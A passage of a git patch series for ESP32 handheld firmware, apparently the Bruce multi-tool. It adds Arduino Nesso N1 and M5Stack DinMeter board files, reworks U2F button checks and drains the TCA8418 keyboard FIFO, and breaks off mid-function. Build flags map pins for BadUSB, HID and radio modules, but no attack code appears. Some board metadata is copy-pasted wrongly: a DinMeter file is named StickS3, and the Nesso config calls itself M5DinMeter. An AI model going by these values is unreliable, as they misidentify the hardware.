+++ b/boards/_boards_json/arduino-nesso-n1.json
@@ -0,0 +1,34 @@
+{
+  "build": {
+    "core": "esp32",
+    "f_cpu": "160000000L",
+    "f_flash": "80000000L",
+    "flash_mode": "qio",
+    "mcu": "esp32c6",
+    "variant": "pinouts",
+    "extra_flags": [
+        "-DARDUINO_NESSO_N1"
+    ]
+  },
+  "connectivity": [
+    "bluetooth",
+    "wifi"
+  ],
+  "debug": {
+    "openocd_target": "esp32c6.cfg"
+  },
+  "frameworks": [
+    "arduino",
+    "espidf"
+  ],
+  "name": "Arduino Nesso-N1",
+  "upload": {
+    "flash_size": "16MB",
+    "maximum_ram_size": 327680,
+    "maximum_size": 16777216,
+    "require_upload_port": true,
+    "speed": 460800
+  },
+  "url": "https://store.arduino.cc/products/nesso-n1",
+  "vendor": "Arduino"
+}
diff --git a/boards/_boards_json/m5stack-dinmeter.json b/boards/_boards_json/m5stack-dinmeter.json
new file mode 100644
index 000000000..fb7f6d182
--- /dev/null
+++ b/boards/_boards_json/m5stack-dinmeter.json
@@ -0,0 +1,49 @@
+{
+    "build": {
+      "arduino": {
+        "ldscript": "esp32s3_out.ld",
+        "partitions": "default_8MB.csv"
+      },
+      "core": "esp32",
+      "extra_flags": [
+        "-DARDUINO_M5STACK_DINMETER",
+        "-DARDUINO_USB_CDC_ON_BOOT",
+        "-DM5STACK",
+        "-DARDUINO_USB_MODE=1",
+        "-DARDUINO_RUNNING_CORE=1",
+        "-DARDUINO_EVENT_RUNNING_CORE=1"
+      ],
+      "f_cpu": "240000000L",
+      "f_flash": "80000000L",
+      "flash_mode": "qio",
+      "hwids": [
+        [
+          "0x303A",
+          "0x1001"
+        ]
+      ],
+      "mcu": "esp32s3",
+      "variant": "pinouts"
+    },
+    "connectivity": [
+      "bluetooth",
+      "wifi"
+    ],
+    "debug": {
+      "openocd_target": "esp32s3.cfg"
+    },
+    "frameworks": [
+      "arduino",
+      "espidf"
+    ],
+    "name": "M5Stack StickS3",
+    "upload": {
+      "flash_size": "8MB",
+      "maximum_ram_size": 327680,
+      "maximum_size": 8388608,
+      "require_upload_port": true,
+      "speed": 460800
+    },
+    "url": "https://docs.m5stack.com/en/core/StampS3",
+    "vendor": "M5Stack"
+  }
diff --git a/boards/arduino-nesso-n1/interface.cpp b/boards/arduino-nesso-n1/interface.cpp
new file mode 100644
index 000000000..500be8a88
--- /dev/null
+++ b/boards/arduino-nesso-n1/interface.cpp
@@ -0,0 +1,113 @@
+#include "core/powerSave.h"
+#include "core/utils.h"
+#include <M5Unified.h>
+#include <interface.h>
+
+constexpr uint32_t kBtnBDoublePressWindowMs = 270;
+constexpr uint32_t kBtnBLongPressMs = 500;
+
+/***************************************************************************************
+** Function name: _setup_gpio()
+** Location: main.cpp
+** Description:   initial setup for the device
+***************************************************************************************/
+void _setup_gpio() {
+    M5.begin(); // Need to test if SDCard inits with the new setup
+    bruceConfig.colorInverted = 0;
+    M5.BtnA.setDebounceThresh(8);
+    M5.BtnB.setDebounceThresh(8);
+    M5.BtnB.setHoldThresh(kBtnBLongPressMs);
+}
+
+/***************************************************************************************
+** Function name: getBattery()
+** location: display.cpp
+** Description:   Delivers the battery value from 1-100
+***************************************************************************************/
+int getBattery() {
+    int percent = 0;
+    percent = M5.Power.getBatteryLevel();
+    return (percent < 0) ? 0 : (percent >= 100) ? 100 : percent;
+}
+
+/*********************************************************************
+** Function: setBrightness
+** location: settings.cpp
+** set brightness value
+**********************************************************************/
+void _setBrightness(uint8_t brightval) { M5.Display.setBrightness(brightval); }
+
+/*********************************************************************
+** Function: InputHandler
+** Handles the variables PrevPress, NextPress, SelPress, AnyKeyPress and EscPress
+**********************************************************************/
+void InputHandler(void) {
+    static unsigned long tm = 0;
+    static uint32_t btnBFirstReleaseMs = 0;
+    static bool btnBWaitingSecondClick = false;
+    static bool btnBLongPressFired = false;
+    if (millis() - tm < 200 && !LongPress) return;
+    M5.update();
+
+    bool emitNext = false;
+    bool emitPrev = false;
+    bool emitEsc = false;
+    uint32_t now = millis();
+
+    auto t = M5.Touch.getDetail();
+    if (t.isPressed() || t.isHolding()) {
+        tm = millis();
+        if (wakeUpScreen()) return;
+
+        touchPoint.x = t.x;
+        touchPoint.y = t.y;
+        touchPoint.pressed = true;
+        touchHeatMap(touchPoint);
+    } else touchPoint.pressed = false;
+
+    bool btnAActive = M5.BtnA.isPressed() || M5.BtnA.isHolding();
+    bool btnBActive = M5.BtnB.isPressed() || M5.BtnB.isHolding();
+
+    if (M5.BtnB.wasPressed()) btnBLongPressFired = false;
+
+    if (btnBActive && !btnBLongPressFired && M5.BtnB.pressedFor(kBtnBLongPressMs)) {
+        btnBLongPressFired = true;
+        btnBWaitingSecondClick = false;
+        emitEsc = true;
+    }
+
+    if (M5.BtnB.wasReleased()) {
+        if (btnBLongPressFired) {
+            btnBLongPressFired = false;
+        } else if (btnBWaitingSecondClick && now - btnBFirstReleaseMs <= kBtnBDoublePressWindowMs) {
+            btnBWaitingSecondClick = false;
+            emitPrev = true;
+        } else {
+            btnBWaitingSecondClick = true;
+            btnBFirstReleaseMs = now;
+        }
+    }
+
+    if (btnBWaitingSecondClick && !btnBActive && now - btnBFirstReleaseMs > kBtnBDoublePressWindowMs) {
+        btnBWaitingSecondClick = false;
+        emitNext = true;
+    }
+
+    AnyKeyPress = btnAActive || btnBActive || btnBWaitingSecondClick || M5.BtnA.wasClicked() || emitNext ||
+                  emitPrev || emitEsc;
+    if (!AnyKeyPress) return;
+
+    if ((btnAActive || btnBActive) && wakeUpScreen()) return;
+
+    if (M5.BtnA.wasClicked()) SelPress = true;
+    if (emitNext) NextPress = true;
+    if (emitPrev) PrevPress = true;
+    if (emitEsc) EscPress = true;
+}
+
+/*********************************************************************
+** Function: powerOff
+** location: mykeyboard.cpp
+** Turns off the device (or try to)
+**********************************************************************/
+void powerOff() { M5.Power.powerOff(); }
diff --git a/boards/arduino-nesso-n1/pins_arduino.h b/boards/arduino-nesso-n1/pins_arduino.h
new file mode 100644
index 000000000..a77070a0a
--- /dev/null
+++ b/boards/arduino-nesso-n1/pins_arduino.h
@@ -0,0 +1,30 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include "soc/soc_caps.h"
+#include <stdint.h>
+static const uint8_t TX = 16;
+static const uint8_t RX = 17;
+
+static const uint8_t SDA = 23;
+static const uint8_t SCL = 22;
+
+static const uint8_t SS = 18;
+static const uint8_t MOSI = 19;
+static const uint8_t MISO = 20;
+static const uint8_t SCK = 21;
+
+static const uint8_t A0 = 0;
+static const uint8_t A1 = 1;
+static const uint8_t A2 = 2;
+static const uint8_t A3 = 3;
+static const uint8_t A4 = 4;
+static const uint8_t A5 = 5;
+static const uint8_t A6 = 6;
+
+// LP I2C Pins are fixed on ESP32-C6
+#define WIRE1_PIN_DEFINED
+static const uint8_t SDA1 = 6;
+static const uint8_t SCL1 = 7;
+
+#endif /* Pins_Arduino_h */
diff --git a/boards/arduino-nesso-n1/platformio.ini b/boards/arduino-nesso-n1/platformio.ini
new file mode 100644
index 000000000..4a949cc70
--- /dev/null
+++ b/boards/arduino-nesso-n1/platformio.ini
@@ -0,0 +1,122 @@
+; PlatformIO Project Configuration File
+;
+;   Build options: build flags, source filter
+;   Upload options: custom upload port, speed and extra flags
+;   Library options: dependencies, extra library storages
+;   Advanced options: extra scripting
+;
+; Please visit documentation for the other options and examples
+; https://docs.platformio.org/page/projectconf.html
+
+[env:arduino-nesso-n1]
+board = arduino-nesso-n1
+board_build.partitions = custom_16Mb.csv
+build_src_filter =${env.build_src_filter} +<../boards/arduino-nesso-n1>
+build_flags =
+	${env.build_flags}
+	-Iboards/arduino-nesso-n1
+	-D DEVICE_NAME='"M5DinMeter"'
+	-D HAS_TOUCH=1
+	-D HAS_3_BUTTONS=1
+
+	-D BTN_ALIAS='"SEL"'
+	-D LED=-1
+	-D LED_ON=HIGH
+	; Using M5GFX driver
+	-D HAS_SCREEN=1
+	-D ROTATION=3
+
+	-D USE_TFT_eSPI_TOUCH=1 #Dont use InputHandler_Task
+	-D USE_M5GFX=1
+	-D TFT_WIDTH=135
+	-D TFT_HEIGHT=240
+	-D TFT_MISO=22
+	-D TFT_MOSI=21
+	-D TFT_SCK=20
+	-D TFT_CS=17
+	-D TFT_RST=16
+
+	-D SPI_SCK_PIN=6
+	-D SPI_MOSI_PIN=5
+	-D SPI_MISO_PIN=4
+	-D SPI_SS_PIN=7
+
+	;Default I2C port
+	-D GROVE_SDA=5
+	-D GROVE_SCL=4
+
+	;Features Enabled
+	;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility
+	;-DMIC_SPM1423=1 ;Applicable for SPM1423 device
+	;FM Radio
+	-D FM_SI4713=1
+	-D FM_RSTPIN=-1
+
+	;Sound options
+	-D BUZZ_PIN=11
+
+	;Can run USB as HID
+	;-D USB_as_HID=1 ;uncomment to enable
+	-DBAD_TX=GROVE_SDA  ; Using Grove
+	-DBAD_RX=GROVE_SCL	 ; Using Grove
+
+	;-DALLOW_ALL_GPIO_FOR_IR_RF=1 ; Set this option to make use of all GPIOs, from 1 to 44 to be chosen, except TFT and SD pins
+	;Infrared Led default pin and state
+	-D IR_TX_PINS='{{"Default",9},{"M5 IR Mod", GROVE_SDA},{"G2",2},{"G6",6},{"G7",7},{"Grove 4",4},{"Grove 5",5}}'
+	-D IR_RX_PINS='{{"M5 IR Mod", GROVE_SCL},{"G2",2},{"G6",6},{"G7",7},{"Grove 4",4},{"Grove 5",5}}'
+	-D TXLED=9
+	-D RXLED=GROVE_SDA
+	-D LED_ON=HIGH
+	-D LED_OFF=LOW
+
+	;Radio Frequency (one pin modules) pin setting
+	-D RF_TX_PINS='{{"M5 RF433T", GROVE_SDA},{"G2",2},{"G6",6},{"G7",7},{"Grove 4",4},{"Grove 5",5}}'
+	-D RF_RX_PINS='{{"M5 RF433R", GROVE_SCL},{"G2",2},{"G6",6},{"G7",7},{"Grove 4",4},{"Grove 5",5}}'
+
+	; -DUSE_CC1101_VIA_SPI # deprecated
+	-DCC1101_GDO0_PIN=2
+	-DCC1101_SS_PIN=SPI_SS_PIN
+	-DCC1101_MOSI_PIN=SPI_MOSI_PIN
+	-DCC1101_SCK_PIN=SPI_SCK_PIN
+	-DCC1101_MISO_PIN=SPI_MISO_PIN
+
+	; -DUSE_NRF24_VIA_SPI # deprecated
+	-DNRF24_CE_PIN=2
+	-DNRF24_SS_PIN=SPI_SS_PIN
+	-DNRF24_MOSI_PIN=SPI_MOSI_PIN
+	-DNRF24_SCK_PIN=SPI_SCK_PIN
+	-DNRF24_MISO_PIN=SPI_MISO_PIN
+
+	; -DUSE_W5500_VIA_SPI # deprecated
+	-DW5500_SS_PIN=SPI_SS_PIN
+	-DW5500_MOSI_PIN=SPI_MOSI_PIN
+	-DW5500_SCK_PIN=SPI_SCK_PIN
+	-DW5500_MISO_PIN=SPI_MISO_PIN
+	-DW5500_INT_PIN=2
+
+	;Lora setup pins
+	-DLORA_SCK=TFT_SCK
+	-DLORA_MISO=TFT_MISO
+	-DLORA_MOSI=TFT_MOSI
+	-DLORA_CS=23
+	-DLORA_RST=-1
+	-DLORA_DIO0=15
+
+	;SD Card Setup pins
+	-D SDCARD_CS=SPI_SS_PIN
+	-D SDCARD_SCK=SPI_SCK_PIN
+	-D SDCARD_MISO=SPI_MISO_PIN
+	-D SDCARD_MOSI=SPI_MOSI_PIN
+
+	; SERIAL (GPS) dedicated pins
+	-D SERIAL_TX=GROVE_SDA
+	-D SERIAL_RX=GROVE_SCL
+	-D GPS_SERIAL_TX=GROVE_SDA
+	-D GPS_SERIAL_RX=GROVE_SCL
+
+lib_deps =
+	${env.lib_deps}
+	m5stack/M5Unified
+
+lib_ignore =
+	TFT_eSPI
diff --git a/boards/m5stack-dinmeter/interface.cpp b/boards/m5stack-dinmeter/interface.cpp
new file mode 100644
index 000000000..15e85ee6d
--- /dev/null
+++ b/boards/m5stack-dinmeter/interface.cpp
@@ -0,0 +1,85 @@
+#include "core/powerSave.h"
+#include <M5Unified.h>
+#include <interface.h>
+
+// Rotary encoder
+#include <RotaryEncoder.h>
+RotaryEncoder *encoder = nullptr;
+IRAM_ATTR void checkPosition() { encoder->tick(); }
+
+/***************************************************************************************
+** Function name: _setup_gpio()
+** Location: main.cpp
+** Description:   initial setup for the device
+***************************************************************************************/
+void _setup_gpio() {
+    M5.begin();
+    bruceConfig.colorInverted = 0;
+    pinMode(ENCODER_KEY, INPUT);
+    encoder = new RotaryEncoder(ENCODER_INA, ENCODER_INB, RotaryEncoder::LatchMode::TWO03);
+    attachInterrupt(digitalPinToInterrupt(ENCODER_INA), checkPosition, CHANGE);
+    attachInterrupt(digitalPinToInterrupt(ENCODER_INB), checkPosition, CHANGE);
+}
+/*********************************************************************
+** Function: setBrightness
+** location: settings.cpp
+** set brightness value
+**********************************************************************/
+void _setBrightness(uint8_t brightval) { M5.Display.setBrightness(brightval); }
+
+/***************************************************************************************
+** Function name: getBattery()
+** location: display.cpp
+** Description:   Delivers the battery value from 1-100
+***************************************************************************************/
+int getBattery() {
+    int level = M5.Power.getBatteryLevel();
+    return (level < 0) ? 0 : (level >= 100) ? 100 : level;
+}
+
+/*********************************************************************
+** Function: InputHandler
+** Handles the variables PrevPress, NextPress, SelPress, AnyKeyPress and EscPress
+**********************************************************************/
+void InputHandler(void) {
+    static unsigned long tm = millis(); // debauce for buttons
+    static int posDifference = 0;
+    static int lastPos = 0;
+    bool sel = !LOW;
+
+    int newPos = encoder->getPosition();
+    if (newPos != lastPos) {
+        posDifference += (newPos - lastPos);
+        lastPos = newPos;
+    }
+
+    if (millis() - tm < 200 && !LongPress) return;
+
+    sel = digitalRead(ENCODER_KEY);
+
+    if (posDifference != 0 || sel == LOW) {
+        if (!wakeUpScreen()) AnyKeyPress = true;
+        else return;
+    }
+    if (posDifference > 0) {
+        PrevPress = true;
+        posDifference--;
+    }
+    if (posDifference < 0) {
+        NextPress = true;
+        posDifference++;
+    }
+
+    if (sel == LOW) {
+        posDifference = 0;
+        SelPress = true;
+        tm = millis();
+    }
+}
+
+/*********************************************************************
+** Function: powerOff
+** location: mykeyboard.cpp
+** Turns off the device (or try to)
+**********************************************************************/
+void powerOff() { M5.Power.powerOff(); }
diff --git a/boards/m5stack-dinmeter/pins_arduino.h b/boards/m5stack-dinmeter/pins_arduino.h
new file mode 100644
index 000000000..5e94f9392
--- /dev/null
+++ b/boards/m5stack-dinmeter/pins_arduino.h
@@ -0,0 +1,54 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include "soc/soc_caps.h"
+#include <stdint.h>
+
+#define USB_VID 0x303a
+#define USB_PID 0x1001
+
+static const uint8_t TX = 43;
+static const uint8_t RX = 44;
+
+static const uint8_t TXD2 = 17;
+static const uint8_t RXD2 = 18;
+
+static const uint8_t SDA = 12;
+static const uint8_t SCL = 11;
+
+static const uint8_t SS = 15;
+static const uint8_t MOSI = 37;
+static const uint8_t MISO = 35;
+static const uint8_t SCK = 36;
+
+static const uint8_t G0 = 0;
+static const uint8_t G1 = 1;
+static const uint8_t G2 = 2;
+static const uint8_t G3 = 3;
+static const uint8_t G4 = 4;
+static const uint8_t G5 = 5;
+static const uint8_t G6 = 6;
+static const uint8_t G7 = 7;
+static const uint8_t G8 = 8;
+static const uint8_t G9 = 9;
+static const uint8_t G11 = 11;
+static const uint8_t G12 = 12;
+static const uint8_t G13 = 13;
+static const uint8_t G14 = 14;
+static const uint8_t G17 = 17;
+static const uint8_t G18 = 18;
+static const uint8_t G19 = 19;
+static const uint8_t G20 = 20;
+static const uint8_t G21 = 21;
+static const uint8_t G33 = 33;
+static const uint8_t G34 = 34;
+static const uint8_t G35 = 35;
+static const uint8_t G36 = 36;
+static const uint8_t G37 = 37;
+static const uint8_t G38 = 38;
+static const uint8_t G45 = 45;
+static const uint8_t G46 = 46;
+
+static const uint8_t ADC = 10;
+
+#endif /* Pins_Arduino_h */
diff --git a/boards/m5stack-dinmeter/platformio.ini b/boards/m5stack-dinmeter/platformio.ini
new file mode 100644
index 000000000..85519391e
--- /dev/null
+++ b/boards/m5stack-dinmeter/platformio.ini
@@ -0,0 +1,123 @@
+; PlatformIO Project Configuration File
+;
+;   Build options: build flags, source filter
+;   Upload options: custom upload port, speed and extra flags
+;   Library options: dependencies, extra library storages
+;   Advanced options: extra scripting
+;
+; Please visit documentation for the other options and examples
+; https://docs.platformio.org/page/projectconf.html
+
+[env:m5stack-dinmeter]
+board = m5stack-dinmeter
+board_build.partitions = custom_8Mb.csv
+build_src_filter =${env.build_src_filter} +<../boards/m5stack-dinmeter>
+build_flags =
+	${env.build_flags}
+	-Iboards/m5stack-dinmeter
+	-D CORE_DEBUG_LEVEL=1
+
+	-D DEVICE_NAME='"M5DinMeter"'
+	-D HAS_ENCODER=1
+	-D ROTATION=3
+
+	-D ENCODER_INA=41
+	-D ENCODER_INB=40
+	-D ENCODER_KEY=42
+
+	-D BTN_ALIAS='"SEL"'
+	-D LED=-1
+	-D LED_ON=HIGH
+	; Using M5GFX driver
+	-D HAS_SCREEN=1
+	-D ROTATION=3
+
+	-D USE_M5GFX=1
+	-D TFT_WIDTH=135
+	-D TFT_HEIGHT=240
+
+	-D SPI_SCK_PIN=15
+	-D SPI_MOSI_PIN=1
+	-D SPI_MISO_PIN=2
+	-D SPI_SS_PIN=13
+
+	;Default I2C port
+	-D GROVE_SDA=1
+	-D GROVE_SCL=2
+
+	;Features Enabled
+	;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility
+	;-DMIC_SPM1423=1 ;Applicable for SPM1423 device
+	;FM Radio
+	-D FM_SI4713=1
+	-D FM_RSTPIN=-1
+
+	;Sound options
+	-D BUZZ_PIN=3
+
+	;Can run USB as HID
+	-D USB_as_HID=1 ;uncomment to enable
+
+	;-DALLOW_ALL_GPIO_FOR_IR_RF=1 ; Set this option to make use of all GPIOs, from 1 to 44 to be chosen, except TFT and SD pins
+	;Infrared Led default pin and state
+	-D IR_TX_PINS='{{"G1",1},{"G2",2},{"G13",13},{"G15",15}}'
+	-D IR_RX_PINS='{{"G1",1},{"G2",2},{"G13",13},{"G15",15}}'
+	-D TXLED=1
+	-D RXLED=2
+	-D LED_ON=HIGH
+	-D LED_OFF=LOW
+
+	;Radio Frequency (one pin modules) pin setting
+	-D RF_TX_PINS='{{"G1",1},{"G2",2},{"G13",13},{"G15",15}}'
+	-D RF_RX_PINS='{{"G1",1},{"G2",2},{"G13",13},{"G15",15}}'
+
+	; -DUSE_CC1101_VIA_SPI # deprecated
+	-DCC1101_GDO0_PIN=SPI_SS_PIN
+	-DCC1101_SS_PIN=-1
+	-DCC1101_MOSI_PIN=SPI_MOSI_PIN
+	-DCC1101_SCK_PIN=SPI_SCK_PIN
+	-DCC1101_MISO_PIN=SPI_MISO_PIN
+
+	; -DUSE_NRF24_VIA_SPI # deprecated
+	-DNRF24_CE_PIN=-1
+	-DNRF24_SS_PIN=SPI_SS_PIN
+	-DNRF24_MOSI_PIN=SPI_MOSI_PIN
+	-DNRF24_SCK_PIN=SPI_SCK_PIN
+	-DNRF24_MISO_PIN=SPI_MISO_PIN
+
+	; -DUSE_W5500_VIA_SPI # deprecated
+	-DW5500_SS_PIN=-1
+	-DW5500_MOSI_PIN=SPI_MOSI_PIN
+	-DW5500_SCK_PIN=SPI_SCK_PIN
+	-DW5500_MISO_PIN=SPI_MISO_PIN
+	-DW5500_INT_PIN=-1
+
+	;Lora setup pins
+	-DLORA_SCK=SPI_SCK_PIN
+	-DLORA_MISO=SPI_MISO_PIN
+	-DLORA_MOSI=SPI_MOSI_PIN
+	-DLORA_CS=-1
+	-DLORA_RST=-1
+	-DLORA_DIO0=-1
+
+	;SD Card Setup pins
+	-D SDCARD_CS=SPI_SS_PIN
+	-D SDCARD_SCK=SPI_SCK_PIN
+	-D SDCARD_MISO=SPI_MISO_PIN
+	-D SDCARD_MOSI=SPI_MOSI_PIN
+
+	; SERIAL (GPS) dedicated pins
+	-D SERIAL_TX=13
+	-D SERIAL_RX=15
+	-D GPS_SERIAL_TX=13
+	-D GPS_SERIAL_RX=15
+
+lib_deps =
+	${env.lib_deps}
+	mathertel/RotaryEncoder @1.5.3
+	m5stack/M5Unified
+
+lib_ignore =
+	TFT_eSPI
+
+
diff --git a/boards/pinouts/pins_arduino.h b/boards/pinouts/pins_arduino.h
index d4b236c5d..def219d4b 100644
--- a/boards/pinouts/pins_arduino.h
+++ b/boards/pinouts/pins_arduino.h
@@ -12,6 +12,10 @@
 #include "../m5stack-cardputer/pins_arduino.h"
 #elif CYD_2432S028
 #include "../CYD-2432S028/pins_arduino.h"
+#elif ARDUINO_NESSO_N1
+#include "../arduino-nesso-n1/pins_arduino.h"
+#elif ARDUINO_M5STACK_DINMETER
+#include "../m5stack-dinmeter/pins_arduino.h"
 #elif ARDUINO_M5STACK_CORE
 #include "../m5stack-core/pins_arduino.h"
 #elif ARDUINO_M5STACK_CORES3
diff --git a/platformio.ini b/platformio.ini
index 38e77a82d..fa639618e 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -19,6 +19,8 @@ default_envs =
 	;m5stack-core16mb
 	;m5stack-core4mb
 	;m5stack-cores3
+	;m5stack-dinmeter
+	;arduino-nesso-n1
 	;esp32-s3-devkitc-1
 	;CYD-2432S028
 	;CYD-2USB
@@ -47,7 +49,7 @@ default_envs =
 	;lilygo-t-hmi
 	;lilygo-t-lora-pager
 	;smoochiee-board
-  ;xk404
+	;xk404
 	;reaper
 	;Phantom_S024R
 	;LAUNCHER_Phantom_S024R
@@ -64,8 +66,8 @@ default_envs =
 	;LAUNCHER_WaveSentry-R1
 	;WaveSentry-R1
 	;esp32-c5-tft
-  ;esp32-c5
-  ;ES3C28P
+	;esp32-c5
+	;ES3C28P
 	;nm-cyd-c5
 	;elecrow-24B
 	;elecrow-28B
diff --git a/src/modules/others/u2f.cpp b/src/modules/others/u2f.cpp
index 627ca8cd5..5eba86c4b 100644
--- a/src/modules/others/u2f.cpp
+++ b/src/modules/others/u2f.cpp
@@ -574,20 +574,13 @@ class U2fHidDevice : public USBHIDDevice {
 
         auto isSelectPressedRaw = []() -> bool {
             bool pressed = false;
-#ifdef SEL_BTN
-            if (SEL_BTN >= 0 && digitalRead(SEL_BTN) == BTN_ACT) pressed = true;
-#endif
-#ifdef ENCODER_KEY
-            if (ENCODER_KEY >= 0 && digitalRead(ENCODER_KEY) == BTN_ACT) pressed = true;
-#endif
+            if (SelPress) pressed = true; // Don't reset the variable
             return pressed;
         };
 
         auto isEscPressedRaw = []() -> bool {
             bool pressed = false;
-#ifdef BK_BTN
-            if (BK_BTN >= 0 && digitalRead(BK_BTN) == BTN_ACT) pressed = true;
-#endif
+            if (EscPress) pressed = true; // Don't reset the variable
             return pressed;
         };
 

From 09272287d3e810e8579dc234b92478d5a6281947 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Fri, 22 May 2026 15:34:28 -0300
Subject: [PATCH 55/73] TCA8418 keyboard response improve

---
 boards/lilygo-t-lora-pager/interface.cpp |  55 ++--
 boards/m5stack-cardputer/interface.cpp   | 304 ++++++++++++++---------
 2 files changed, 221 insertions(+), 138 deletions(-)

diff --git a/boards/lilygo-t-lora-pager/interface.cpp b/boards/lilygo-t-lora-pager/interface.cpp
index 2e11c6525..651811b4f 100644
--- a/boards/lilygo-t-lora-pager/interface.cpp
+++ b/boards/lilygo-t-lora-pager/interface.cpp
@@ -323,33 +323,50 @@ void InputHandler(void) {
     esc = digitalRead(BK_BTN);
 
     if (keyboard->available() > 0) {
-        int keyValue = keyboard->getEvent();
-        bool pressed = keyValue & 0x80;
-        keyValue &= 0x7F;
-        keyValue--;
-        if (keyValue / 10 < 4) {
-            if (handleSpecialKeys(keyValue, pressed) > 0) goto END;
+        keyStroke pendingKey;
+        bool keyPulse = false;
+        bool hapticPulse = false;
+
+        // Drain the full TCA8418 FIFO so quick taps are handled immediately.
+        while (keyboard->available() > 0) {
+            int keyValue = keyboard->getEvent();
+            bool pressed = keyValue & 0x80;
+            keyValue &= 0x7F;
+            keyValue--;
+
+            if (keyValue / 10 >= 4) continue;
+            if (handleSpecialKeys(keyValue, pressed) > 0) continue;
+
             keyVal = getKeyChar(keyValue);
-        }
-        if (pressed && !wakeUpScreen() && keyVal != '\0') {
-            KeyStroke.Clear();
-            KeyStroke.hid_keys.push_back(keyVal);
+            if (!pressed || keyVal == '\0') continue;
+            if (wakeUpScreen()) continue;
+
+            pendingKey.hid_keys.push_back(keyVal);
             if (keyVal == KEY_BACKSPACE) {
-                KeyStroke.del = true;
+                pendingKey.del = true;
                 EscPress = true;
             }
             if (keyVal == KEY_ENTER) {
-                KeyStroke.enter = true;
+                pendingKey.enter = true;
                 SelPress = true;
             }
-            if (keyVal == KEY_FN) KeyStroke.fn = true;
-            KeyStroke.word.push_back(keyVal);
-            KeyStroke.pressed = true;
+            if (keyVal == KEY_FN) pendingKey.fn = true;
+            pendingKey.word.push_back(keyVal);
+            keyPulse = true;
+            hapticPulse = true;
+        }
 
-            // Haptic feedback
-            drv.setWaveform(0, 81);
-            drv.setWaveform(1, 0);
-            drv.run();
+        if (keyPulse) {
+            pendingKey.pressed = true;
+            KeyStroke = pendingKey;
+
+            if (hapticPulse) {
+                drv.setWaveform(0, 81);
+                drv.setWaveform(1, 0);
+                drv.run();
+            }
+        } else {
+            KeyStroke.Clear();
         }
     } else KeyStroke.Clear();
 
diff --git a/boards/m5stack-cardputer/interface.cpp b/boards/m5stack-cardputer/interface.cpp
index 04ffb64da..07c734aaf 100644
--- a/boards/m5stack-cardputer/interface.cpp
+++ b/boards/m5stack-cardputer/interface.cpp
@@ -16,6 +16,9 @@ bool fn_key_pressed = false;
 bool shift_key_pressed = false;
 bool caps_lock = false;
 
+constexpr unsigned long TCA8418_REPEAT_START_MS = 350;
+constexpr unsigned long TCA8418_REPEAT_MS = 150;
+
 int handleSpecialKeys(uint8_t row, uint8_t col, bool pressed);
 void mapRawKeyToPhysical(uint8_t rawValue, uint8_t &row, uint8_t &col);
 
@@ -85,7 +88,7 @@ void _setup_gpio() {
     // Set GPIO5 HIGH for SD card compatibility (thx for the tip @bmorcelli & 7h30th3r0n3)
     digitalWrite(5, HIGH);
 }
-bool kb_interrupt = false;
+volatile bool kb_interrupt = false;
 void IRAM_ATTR gpio_isr_handler(void *arg) {
     kb_interrupt = true;
     // static long i = 0;
@@ -130,7 +133,7 @@ void _post_setup_gpio() {
     tca.matrix(7, 8);
     tca.flush();
     pinMode(11, INPUT);
-    attachInterruptArg(digitalPinToInterrupt(11), gpio_isr_handler, &kb_interrupt, CHANGE);
+    attachInterruptArg(digitalPinToInterrupt(11), gpio_isr_handler, nullptr, CHANGE);
     tca.enableInterrupts();
 }
 
@@ -154,6 +157,10 @@ void _setBrightness(uint8_t brightval) {
 **********************************************************************/
 void InputHandler(void) {
     static unsigned long tm = 0;
+    static unsigned long nextRepeatTime = 0;
+    static unsigned long prevRepeatTime = 0;
+    static unsigned long upRepeatTime = 0;
+    static unsigned long downRepeatTime = 0;
 
     static bool sel = false;
     static bool prev = false;
@@ -170,7 +177,7 @@ void InputHandler(void) {
     bool arrow_dw = false;
     bool arrow_ry = false;
     bool arrow_le = false;
-    if (millis() - tm < 200 && !LongPress) return;
+    if (!UseTCA8418 && millis() - tm < 200 && !LongPress) return;
 
     if (digitalRead(0) == LOW) { // GPIO0 button, shoulder button
         tm = millis();
@@ -181,142 +188,201 @@ void InputHandler(void) {
     }
 
     if (UseTCA8418) {
-        if (!kb_interrupt) {
-            if (digitalRead(11) == LOW) {
+        bool keyEventHandled = false;
+        bool nextPulse = false;
+        bool prevPulse = false;
+        bool upPulse = false;
+        bool downPulse = false;
+        bool delPulse = false;
+        bool keyPulse = false;
+        keyStroke key;
+
+        if (kb_interrupt || digitalRead(11) == LOW) {
+            if (!kb_interrupt && digitalRead(11) == LOW) {
                 detachInterrupt(digitalPinToInterrupt(11));
-                attachInterruptArg(digitalPinToInterrupt(11), gpio_isr_handler, &kb_interrupt, CHANGE);
+                attachInterruptArg(digitalPinToInterrupt(11), gpio_isr_handler, nullptr, CHANGE);
                 Serial.println("Forcing keyboard interrupt, Restoring Interruptions.");
                 kb_interrupt = true;
             }
-            if (!LongPress) {
-                sel = false; // avoid multiple selections
-                esc = false; // avoid multiple escapes
-            }
-            NextPress = next;
-            PrevPress = prev;
-            UpPress = up;
-            DownPress = down;
-            if (!SelPress) SelPress = sel;
-            EscPress = esc;
-            if (del) {
-                KeyStroke.del = del;
-                KeyStroke.pressed = true;
-            }
-            tm = millis();
-            return;
-        }
-
-        //  try to clear the IRQ flag
-        //  if there are pending events it is not cleared
-        tca.writeRegister(TCA8418_REG_INT_STAT, 1);
-        int intstat = tca.readRegister(TCA8418_REG_INT_STAT);
-        if ((intstat & 0x01) == 0) { kb_interrupt = false; }
-
-        // if (tca.available() <= 0) return;
-        int keyEvent = tca.getEvent();
-        bool pressed = (keyEvent & 0x80); // Bit 7: 1 Pressed, 0 Released
-        uint8_t value = keyEvent & 0x7F;  // Bits 0-6: key value
-
-        // Map raw value to physical position
-        uint8_t row, col;
-        mapRawKeyToPhysical(value, row, col);
 
-        // Serial.printf("Key event: raw=%d, pressed=%d, row=%d, col=%d\n", value, pressed, row, col);
-
-        if (row >= 4 || col >= 14) return;
+            while (tca.available() > 0) {
+                int keyEvent = tca.getEvent();
+                bool pressed = (keyEvent & 0x80); // Bit 7: 1 Pressed, 0 Released
+                uint8_t value = keyEvent & 0x7F;  // Bits 0-6: key value
+
+                uint8_t row, col;
+                mapRawKeyToPhysical(value, row, col);
+                if (row >= 4 || col >= 14) continue;
+                if (wakeUpScreen()) continue;
+
